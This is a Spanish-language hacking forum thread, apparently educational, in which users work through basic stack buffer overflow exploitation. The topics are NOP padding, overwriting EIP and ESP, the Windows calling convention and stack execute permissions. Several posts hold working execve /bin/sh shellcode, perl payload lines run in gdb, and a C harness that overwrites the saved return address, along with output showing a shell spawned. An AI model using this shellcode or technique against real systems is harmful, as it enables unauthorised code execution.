Exploiting basico en Windows

[NewLog]

Vale, lo del Backtrack lo tengo claro... Mi máquina (virtual) es de 64 bits. Siempre que me olvido me vuelvo loco

Vlan, aplazo este último comentario tuyo, que llevo un rato haciendo pruebas con lo del alineamiento.

Mirad, a lo que yo me refiero cuando hablo de alineamiento (y quizá lo haga incorrectamente) es a esto:
Pensad que estoy dentro de gdb y que corto muuuucha basura para explicarme.

Código: Seleccionar todo

(gdb) run `perl -e 'print "\x90"x75 . "\x31\xc9\x31\xdb\x8d\x41\x17\x99\xcd\x80\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" . "\x40\xf4\xff\xbf"x12';`
(...)
(gdb) n
0x40bffff4 in ?? ()


Código: Seleccionar todo

(gdb) run `perl -e 'print "\x90"x76 . "\x31\xc9\x31\xdb\x8d\x41\x17\x99\xcd\x80\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" . "\x40\xf4\xff\xbf"x12';`
(...)
(gdb) n
0xbffff440 in ?? ()

Como véis en el segundo código, el registro eip se ha sobreescrito con una dirección de memoria correcta (0xbffff440) que es lo que se intenta al explotar un ejecutable, sin embargo, en el primer ejemplo, debido a que el número de NOPs no es correcto, el registro eip se ha sobreescrito con una dirección incorrecta (0x40bffff4), y eso, creo yo es debido a que los datos no están alineados correctamente.

P.D.: Sí, este hilo mola... Pero me parece que nos hemos olvidado de nuestros Windows jajaja
P.D2.: Hace horas que tendría que estar programando una aplicación para Iphone! Me lio con vosotros demasiado rápido

[vlan7]

Este hilo mola por esto:

Usuarios navegando por este Foro: NewLog, TuXeD, vlan7 y 1 invitado

Y habria quizas que sumarle el usuario oculto que hay ahora, que es probable que sea Sor al haber escrito hace nada jaja

Suerte,

[TuXeD]

Mi pregunta puede ser absurda, pero en ese programa ¿estamos ejecutando la shell en la pila que es lo que tratamos de aclarar si tiene que estar alineado?

Si, estamos ejecutando desde la pila. Fijate que el programa primero obtiene la localizacion de la direccion de retorno de main (lo hace creando una variable local ret, que es un puntero en este caso, luego suma 2*sizeof(int) [aritmetica de punteros ftw] para desviar llegar a apuntar al 'saved eip').

Escribimos la shellcode en ret+5, y ponemos en ese 'saved eip' la direccion de ret+5. Si debuggeas y pones un breakpoint en el 'ret' de main, veras algo como esto en la pila:

dir: dir+5 <--- esp
dir+4: XX YY YY YY
dir+8: YY YY YY YY
...

Donde XX es 'basaura' que habia ahi, e YY YY YY... serian los bytes de la shellcode.

Ten en cuenta tambien que al hacer cat /proc/self/maps estas haciendo un cat de los mapas de la shell, no del programa en si. Ejecuta el programa en gdb, haz 'shell', luego haz ps para encontrar el pid del programa en si, y luego cat /proc/<pid>/maps. Ahi deberia salir la pila como ejecutable, o si no no te deberia funcionar el programa en ningun caso.

Respecto a lo que dice NewLog, estamos hablando de cosas distintas, y es lo que me estaba temiendo ahora a ultima hora. Es obvio que es necesario alinear bien lo que hay en el buffer antes del saved eip, por que si no se sobreescribe mal y apunta a una direccion incorrecta.

Yo todo el tiempo estoy asumiendo que esto es asi, si no mal vamos Al decir 'alineamiento de eip' yo entendi requisitos de alineamiento de la CPU, como por ejemplo en ARM donde tiene que estar alineado a 2 bytes o a 4 dependiendo del modo (Thumb vs ARM).

Saludos

Saludos

[NewLog]

Gracias por el doble saludo

Todo esto lo comentaba por el comentario de Sor:

A la hora de ejecutarlo no me funciona, y añadiendo NOPs sí.

Que es exactamente lo que he mostrado antes.

Aunque claro, antes dice:

Vamos, que al final tengo el ESP apuntando al código desde el principio sin problemas

Lo que imagino que significa que ha comprobado que el registro eip contiene la dirección que él quiere. Cosa que no tiene sentido en la problemática de mi post de antes.

El caso, Sor, ya lo has solucionado? Seguro que, con o sin NOPs, el eip te apunta justo al principio del código del shellcode?

[vlan7]

Sobre los permisos de la pila:

Código: Seleccionar todo

root@root:~# cat sc.c
#include <stdio.h>

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
              "\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\xb0\x0b\xcd\x80";
int i;

         
int main (int ac, char **av){
   int *ret;
   ret = (int *)&ret + 2; //Point to saved EIP
   
   for(i=0;i<sizeof(code);i++){
      *((unsigned char *)(ret)+5+i) = code[i];
   }
   
   (*ret) = (int)((unsigned char*)(ret)+5); //Set return address to ret+5
}
root@root:~# rm sc
root@root:~# gcc -g sc.c -o sc
root@root:~# gdb -q sc
Reading symbols from /root/sc...done.
(gdb) r
Starting program: /root/sc
process 18645 is executing new program: /bin/bash
root@root:/root# ps
  PID TTY          TIME CMD
 4121 pts/2    00:00:00 bash
18640 pts/2    00:00:00 gdb
18645 pts/2    00:00:00 sh
18855 pts/2    00:00:00 ps
root@root:/root# grep stack /proc/4121/maps
bfcd8000-bfcf9000 rw-p 00000000 00:00 0          [stack]
root@root:/root# grep stack /proc/18645/maps   
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

Entiendo que el proceso bash es ese, el de la shell lanzada desde gdb. En otra shell, por probar que no quede, pasa lo mismo:

Código: Seleccionar todo

root@root:~# ps
  PID TTY          TIME CMD
18501 pts/4    00:00:00 bash
18742 pts/4    00:00:00 ps
root@root:~# grep stack /proc/18501/maps
bfcbe000-bfcdf000 rw-p 00000000 00:00 0          [stack]

¿La p no implica permisos de ejecucion no?

El caso, Sor, ya lo has solucionado? Seguro que, con o sin NOPs, el eip te apunta justo al principio del código del shellcode?

Eso Sor, deja de mirar al cielo a esperar la venida del Apocalipsis y ponte al teclado hombre! jeje

[Sor_Zitroën]

Una forma fácil de ver los permisos de la pila es poner un sleep en el código de unos 5 o 10 segundos. Después se busca el pid y se mira en /proc/$pid/maps correspondiente.

Yo lo he probado en una máquina virtual Ubuntu 11.04, y compilado por defecto (como es de esperar) no tiene permisos de ejecución y con exectack sí. No tiene más.

Mi pregunta puede ser absurda, pero en ese programa ¿estamos ejecutando la shell en la pila que es lo que tratamos de aclarar si tiene que estar alineado?

Para método main se crea una pila, usease que sí.

[Sor_Zitroën]

A ver si nos entendemos...

Todo esto lo comentaba por el comentario de Sor:

Vamos, que al final tengo el ESP apuntando al código desde el principio sin problemas

A la hora de ejecutarlo no me funciona, y añadiendo NOPs sí.

El problema en mi caso era que la convención de llamada en Win hace que se 'desapilen' los parámetros dentro de la función. Yo tenía el ESP apuntando a continuación del EIP, es decir donde están los parámetros. Allí sobreescribía los mismos metiendo patrones, como indica el tutorial. Entonces luego veía que que los patrones no estaban enteros tal y como yo los había puesto, sino que desaparecían algunos carácteres del inicio.

Al final me dí cuenta y TuXeD me lo corroboró, que debido a la convención de llamada incrementa el ESP para desapilar los parámetros; entonces el ESP después me apuntaba más allá de donde yo lo había dejado (no donde yo creía que apuntaba). Por eso no aparecían los primeros parámetros del patrón. Se soluciona metiendo cualquier ristra de carácteres, como las X que utilicé en mi caso.


En resumen, yo no diría que hay que alinear nada. Como me ha explicado TuXeD, en x86 se mira el primer byte de una instrucción, el cual ya indica su longitud. Por lo tanto es capaz de trabajar con instrucciones desalineadas. Pero por supuesto el ESP debe apuntar justo al comienzo o al menos antes de la shellcode. Si apunta unos cuantos bytes después del comienzo de la shellcode... mal vamos, y eso era lo que me pasaba. De todas maneras volveré a hacer pruebas y lo verifico de nuevo.

[NewLog]

Chapó!

Ahora lo he pillado del todo

Por mi parte, tema zanjado :P

[Sor_Zitroën]

Si es que hasta que no viene una monja y os pone en fila a todos, esto es un puto caos

[vai]

Estos posts son los buenos

[vlan7]

Por mi parte, tema zanjado :P

Por mi parte lo de los NOPs, alineamiento y demas tambien, pero me gustaria discutir algo lo siguiente porque aqui si que estoy flipando.

Yo lo he probado en una máquina virtual Ubuntu 11.04, y compilado por defecto (como es de esperar) no tiene permisos de ejecución y con exectack sí. No tiene más.

Si, eso lo tengo muy claro. Pero lo que digo es que _SIN_ pasar execstack (ni nada equivalente como directamente gcc -zexecstack, o ld -z ...), siendo la pila NX comprobandolo examinando tanto /proc/self/maps como /proc/<pid>/maps logro ejecutar el shellcode.

Y resulta que si pongo al final del codigo un sleep(15); va y me da un Segmentation Fault. En la red he encontrado lo contrario, gente que poniendo un sleep de 1 segundo evitaba un segfault. De todas formas lo dejo por hoy, llevo aqui toda la tarde. Por mi parte mañana mas. Y no, no he bebido aunque lo pueda parecer de lo extraño que es, apenas bebo y menos cuando curro al dia siguiente. Vamos, que es para robar las palabras de Solar Designer con las que terminaba su post mitico en Bugtraq en 1997 o asi, el primero en hacer bypass de NX en la pila, y decir (y quien no lo conozca y tenga curiosidad ya tiene las palabras clave, es un articulo muy entretenido):

"That's all for now.
I hope I managed to prove that exploiting buffer overflows
should be an art."

[Sor_Zitroën]

No te puedo ayudar tío, lo he probado con "\xcc" no el shellcode. Y lo de sleep es raro raro...

A ver qué te pueden decir TuXeD o Vierito5.

[TuXeD]

La cosa tiene su explicacion

Al hacer la llamada al sleep() gcc hace 'movidas' con la pila. En lugar de usar push/pop, se genera un marco de pila mas grande y mete ahi los parametros de las funciones a llamar mediante copias.

Debido a estos cambios en la pila, el puntero 'ret' ya no esta a 8 bytes de la direccion de retorno sino a alguno mas. Al sobreescribir ret y luego a partir del byte siguiente los valores, nos estamos cargando la direccion de retorno real con la shellcode. Si debugueas veras que te falla con algo como esto:

Código: Seleccionar todo

(gdb) r
Starting program: /home/sfx/test

Program received signal SIGSEGV, Segmentation fault.
0x2f6851e1 in ?? ()


Ahora, si te fijas, esos bytes son parte de la shellcode. Concretamente, los bytes 4,5,6,7 de la shellcode. Si en lugar de hacer &ret+2 haces &ret+3, entonces tendras en el saved eip los bytes 1-3 (+uno de basura, por el missalignment producido con el +5 en la copia). Si pones +4, todo ira bien

Código: Seleccionar todo

sfx@deb86:~$ cat test.c
#include <stdio.h>

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
              "\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\xb0\x0b\xcd\x80";
int i;

         
int main (int ac, char **av){
   int *ret;
   ret = (int *)&ret + 4; //Point to saved EIP
   
   for(i=0;i<sizeof(code);i++){
      *((unsigned char *)(ret)+5+i) = code[i];
   }
   sleep(2);
   
   (*ret) = (int)((unsigned char*)(ret)+5); //Set return address to ret+5
}
sfx@deb86:~$ gcc test.c -o test
sfx@deb86:~$ ./test
$ exit
sfx@deb86:~$


Respecto a que vaya incluso con NX, es probable que sea por ser x86. x86 no tiene un bit NX en la page table (excepto cuando se usa PAE) si no recuerdo mal, con lo cual (again, salvo PAE) rw == rwx. Eso si, de esto no estoy 100% seguro...

Saludos

[Sor_Zitroën]

Muy buena la explicación de sleep.

Respecto a que vaya incluso con NX, es probable que sea por ser x86. x86 no tiene un bit NX en la page table (excepto cuando se usa PAE) si no recuerdo mal, con lo cual (again, salvo PAE) rw == rwx. Eso si, de esto no estoy 100% seguro...

Pues puedes estarlo, porque es eso. No existe el bit 63 (NX) en la tabla de páginas de x86 excepto si se usa PAE.

[vlan7]

Todo aclarado, gracias a todos y un saludo!